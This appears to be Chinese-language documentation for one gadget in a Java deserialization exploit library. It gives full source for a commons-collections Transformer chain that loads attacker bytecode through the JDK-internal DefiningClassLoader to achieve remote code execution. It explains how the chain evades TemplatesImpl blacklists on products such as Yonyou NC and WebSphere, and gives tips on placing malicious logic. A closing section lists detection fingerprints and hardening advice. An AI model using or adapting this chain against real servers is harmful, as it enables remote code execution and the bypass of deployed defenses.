- 类别:javanative 别名:— 优先级:—(未设置)
- 作者:—
- 依赖:
<=commons-collections 3.2.1或<=commons-collections 4.0;jdk < 8
构造一个 commons-collections 的 Transformer[] 数组(供 ChainedTransformer 串联执行),其反射链不再走经典的 TemplatesImpl.newTransformer(),而是用 JDK 内置的 sun.org.mozilla.javascript.internal.DefiningClassLoader 作为「字节码加载器」,通过其公开的 defineClass(String, byte[]) 方法直接把恶意字节码定义为类并实例化。目的在于绕过针对 TemplatesImpl 类名的黑名单检测(如用友 NC、WebSphere 等场景),是 CC Transformer 链的一个「加载器替换」变体(sink 前置件)。
- 入口
tags:TransformerChains—— 承接上一环「提供ChainedTransformer触发点」的 gadget,即由某个 CC 入口 gadget(如 CommonsCollectionsK3、CommonsCollectionsK4)在反序列化时把本 gadget 产出的Transformer[]数组塞入ChainedTransformer并触发transform。 - 衔接
nextTags:BytecodeConvertTag—— 之后必须接一个产出「字节码」的环,即 BytecodeConvert(对下游字节码做改名/接口注入/混淆处理),再由更内层的字节码 sink(Bytecodetag)提供真正要defineClass的类字节。 excludes:无。
@GadgetTags(tags={"TransformerChains"}, nextTags={"BytecodeConvertTag"})
public class TransformerWithDefiningClassLoader extends AbstractTransformer {
private String className;
public Object getObject(byte[] bytecodes) throws Exception {
LinkedList<Object> transformers = new LinkedList<Object>();
transformers.add(this.createConstantTransformer(DefiningClassLoader.class));
transformers.add(this.createInvokerTransformer("getDeclaredConstructor",
new Class[]{Class[].class}, new Object[]{new Class[0]}));
transformers.add(this.createInvokerTransformer("newInstance",
new Class[]{Object[].class}, new Object[]{new Object[0]}));
transformers.add(this.createInvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{this.className, bytecodes}));
transformers.add(this.createInvokerTransformer("getDeclaredConstructor",
new Class[]{Class[].class}, new Object[]{new Class[0]}));
transformers.add(this.createInvokerTransformer("newInstance",
new Class[]{Object[].class}, new Object[]{new Object[0]}));
transformers.add(this.createConstantTransformer(1));
return this.createTransformerArray(transformers);
}
}getObject 生成的 7 个 Transformer 会被 ChainedTransformer 依次应用,前一个的输出作为后一个的输入,等价于如下 Java 反射链(初始输入被 ConstantTransformer 直接丢弃):
ConstantTransformer(DefiningClassLoader.class)—— 无视输入,输出Class对象sun.org.mozilla.javascript.internal.DefiningClassLoader。InvokerTransformer("getDeclaredConstructor", {Class[].class}, {new Class[0]})—— 对上一步的Class调用getDeclaredConstructor()(无参构造器),得到该加载器的Constructor。InvokerTransformer("newInstance", {Object[].class}, {new Object[0]})—— 调用Constructor.newInstance(),得到一个DefiningClassLoader实例。InvokerTransformer("defineClass", {String.class, byte[].class}, {className, bytecodes})—— 关键步骤:对该加载器实例调用其公开的defineClass(String name, byte[] b),把bytecodes定义为名为className的Class。这正是替代TemplatesImpl定义字节码的手段。InvokerTransformer("getDeclaredConstructor", {Class[].class}, {new Class[0]})—— 对上一步新定义出来的Class取其无参构造器。InvokerTransformer("newInstance", {Object[].class}, {new Object[0]})—— 实例化该恶意类,其静态块 / 构造器即为执行点(RCE)。ConstantTransformer(1)—— 收尾,返回一个无害常量,避免链末返回值被外层意外使用。
之所以选 DefiningClassLoader:它把 ClassLoader#defineClass(protected)以 public 方法暴露出来,因而可被 InvokerTransformer 反射调用;且它是 JDK 内置(Rhino 引擎内部包),无需第三方依赖。className(步骤 4 定义类的类名)与 bytecodes 均在 invoke 阶段动态注入。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
String version = context.getString(ContextTag.CC_VERSION); // "3" 或 "4"
this.initClazz(version); // 按 CC 版本解析 Transformer 家族类
byte[] bytecodes = (byte[])chain.doCreate(context); // 取内层:下游产出的恶意字节码
this.className = context.getString(ContextTag.CLASS_NAME_KEY);// 字节码对应的类名
return this.getObject(bytecodes);
}符合本库「由内向外」构建约定:先 chain.doCreate(context) 拿到内层对象——这里内层是 byte[] 字节码(由 BytecodeConvert 及其下游字节码 sink 产出),再把它包进本 gadget 的 Transformer 数组返回。CC_VERSION 决定使用 CC3 还是 CC4 的类族;CLASS_NAME_KEY 由上下文注入,保证 defineClass 的类名与实际字节码一致。
public abstract class AbstractTransformer implements Gadget {
public Class transformerClazz, constantTransformerClazz, invokerTransformerClazz, instantiateTransformer;
public void initClazz(String version) throws ClassNotFoundException {
if (version.equals("3")) {
this.transformerClazz = Class.forName("org.apache.commons.collections.Transformer");
this.constantTransformerClazz = Class.forName("org.apache.commons.collections.functors.ConstantTransformer");
this.invokerTransformerClazz = Class.forName("org.apache.commons.collections.functors.InvokerTransformer");
this.instantiateTransformer = Class.forName("org.apache.commons.collections.functors.InstantiateTransformer");
} else if (version.equals("4")) {
this.transformerClazz = Class.forName("org.apache.commons.collections4.Transformer");
this.constantTransformerClazz = Class.forName("org.apache.commons.collections4.functors.ConstantTransformer");
this.invokerTransformerClazz = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer");
this.instantiateTransformer = Class.forName("org.apache.commons.collections4.functors.InstantiateTransformer");
} else {
ThrowsUtil.throwGadgetException("CC " + version + " not found");
}
}
public Object createTransformerArray(LinkedList<Object> transformers) throws ClassNotFoundException {
Object transformerArray = Array.newInstance(this.transformerClazz, transformers.size());
for (int i = 0; i < transformers.size(); ++i) Array.set(transformerArray, i, transformers.get(i));
return transformerArray;
}
public Object createConstantTransformer(Object args) throws Exception {
return Reflections.newInstance(this.constantTransformerClazz.getName(), new Class[]{Object.class}, args);
}
public Object createInvokerTransformer(Object ... args) throws Exception {
return Reflections.newInstance(this.invokerTransformerClazz.getName(),
new Class[]{String.class, Class[].class, Object[].class}, args);
}
}基类抽象出对 CC3 / CC4 两套包名(org.apache.commons.collections.functors.* vs org.apache.commons.collections4.functors.*)的适配:initClazz 按 CC_VERSION 解析出 Transformer、ConstantTransformer、InvokerTransformer、InstantiateTransformer 四个类;createTransformerArray 用 Array.newInstance(transformerClazz, n) 生成类型正确的 Transformer[](而非 Object[],否则反序列化装入 ChainedTransformer 时类型不符);createConstantTransformer / createInvokerTransformer 则全部经 Reflections.newInstance 反射构造,使本类对 CC 依赖无编译期硬引用,可在缺失依赖时仍完成装配。注意本变体只用到 ConstantTransformer 与 InvokerTransformer,未使用 createInstantiateTransformer。
本 gadget 无独立 @Param(params: [])。运行期两个关键值均从 GadgetContext 注入:
| 来源 | 键 | 含义 |
|---|---|---|
| context | ContextTag.CC_VERSION |
CC 版本选择器,取 "3" 或 "4",决定 Transformer 家族包名 |
| context | ContextTag.CLASS_NAME_KEY |
内层恶意字节码对应的类名,作为 defineClass 的第一个参数 |
| chain | chain.doCreate(context) |
内层产物 byte[],即要被 defineClass 的类字节码 |
- CC 依赖:
<=commons-collections 3.2.1或<=commons-collections 4.0(需存在未修复的InvokerTransformer反射能力)。 - JDK:
jdk < 8。原文 description 注明「JDK6、7 测试成功」。原因是sun.org.mozilla.javascript.internal.DefiningClassLoader属 JDK 内置 Rhino 引擎的内部包,JDK 8 起 Rhino 被 Nashorn 取代、该内部类不再可用(ClassNotFoundException),故本变体限于 JDK 6/7 环境。 - 绕过点:不出现
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类名与TemplatesImpl典型序列化指纹,可规避仅对TemplatesImpl做黑名单/关键字匹配的防护(description 明确面向「用友 NC 黑名单 TemplateImpl 检测」、WebSphere 等)。 - 坑点:
defineClass定义出的类会立即被newInstance实例化,因此恶意逻辑应放在其无参构造器或静态初始化块中;className必须与字节码内声明的类名严格一致,否则defineClass抛NoClassDefFoundError/ClassFormatError。
usedInChains: []—— 自由构件,未直接出现在 51 条预设链中。作为 CC Transformer 链的可替换 sink 前置件,供需要绕过TemplatesImpl黑名单时手动组合。
- 上游(其
nextTags=TransformerChains可衔接本 gadget 的tags):CommonsCollectionsK3(CC3.2.1 ChainedTransformer 链)、CommonsCollectionsK4(CC4.0 ChainedTransformer 链)。 - 下游(本 gadget
nextTags=BytecodeConvertTag):BytecodeConvert(字节码改名/接口注入/混淆),其后再接Bytecode类字节码 sink。 - 同族变体(同基类
AbstractTransformer,同tags=TransformerChains):- TransformerWithDefiningClassLoader2 —— 改用
org.mozilla.javascript.DefiningClassLoader(独立 Rhino 依赖而非 JDK 内部包),适配未内置该内部包名的环境。 - TransformerWithBcel —— 改用
com.sun.org.apache.bcel.internal.util.ClassLoader加载 BCEL 字节码(nextTags=BCEL_Expr)。 - TransformerWithExec —— 直接用
java.lang.Runtime执行命令(含@Param cmd)。
- TransformerWithDefiningClassLoader2 —— 改用
- 检测特征:
- 序列化流中出现
org.apache.commons.collections(4)?.functors.InvokerTransformer且方法名字符串包含defineClass、getDeclaredConstructor、newInstance的组合。 - 常量
ConstantTransformer承载的类名为sun.org.mozilla.javascript.internal.DefiningClassLoader(或变体 2 的org.mozilla.javascript.DefiningClassLoader)——这是区别于经典TemplatesImpl链的显著指纹,黑名单若只盯TemplatesImpl会漏检。 ChainedTransformer+Transformer[]结构本身即高危。
- 序列化流中出现
- 加固建议:
- 反序列化白名单(
ObjectInputFilter/ JEP 290)优先,仅放行业务必需类;黑名单应覆盖InvokerTransformer、ChainedTransformer、InstantiateTransformer及各类ClassLoader/DefiningClassLoader,而非仅TemplatesImpl。 - 升级 commons-collections 至已加固版本(3.2.2+ 默认禁用危险 functors 反序列化 / 4.1+),或移除该依赖。
- 升级 JDK 至 8+ 可使本内部包变体失效,但不能替代根因治理。
- 反序列化白名单(